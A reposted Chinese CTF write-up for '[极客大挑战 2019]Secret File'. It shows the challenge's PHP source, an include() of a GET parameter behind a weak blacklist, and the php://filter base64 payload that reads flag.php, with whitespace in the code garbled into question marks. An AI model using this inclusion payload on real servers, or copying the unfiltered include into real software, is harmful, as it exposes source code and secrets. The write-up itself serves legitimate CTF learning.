[极客大挑战 2019]Secret File
Posted wangtanzhi
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了[极客大挑战 2019]Secret File相关的知识，希望对你有一定的参考价值。
0x00知识点
没有过滤file
使用php的file伪协议去读取文件
?file=php://filter/convert.base64-encode/resource=flag.php0x01解题
打开网站存在跳转。抓包，访问
http://152518b2-d342-4872-8adc-b5bcec554a4d.node3.buuoj.cn/secr3t.php
给了我们源代码
<html>????<title>secret</title>????<meta?charset="UTF-8"><?php
????highlight_file(__FILE__);
????error_reporting(0);
????$file=$_GET['file'];
????if(strstr($file,"../")||stristr($file,?"tp")||stristr($file,"input")||stristr($file,"data")){
????????echo?"Oh?no!";
????????exit();
????}
????include($file);?//flag放在了flag.php里?></html>
直接使用file伪协议读
base64解密得到flag
以上是关于[极客大挑战 2019]Secret File的主要内容，如果未能解决你的问题，请参考以下文章
[HCTF 2018]WarmUp&[极客大挑战 2019]Knife&[极客大挑战 2019]Secret File&[极客大挑战 2019]BuyFlag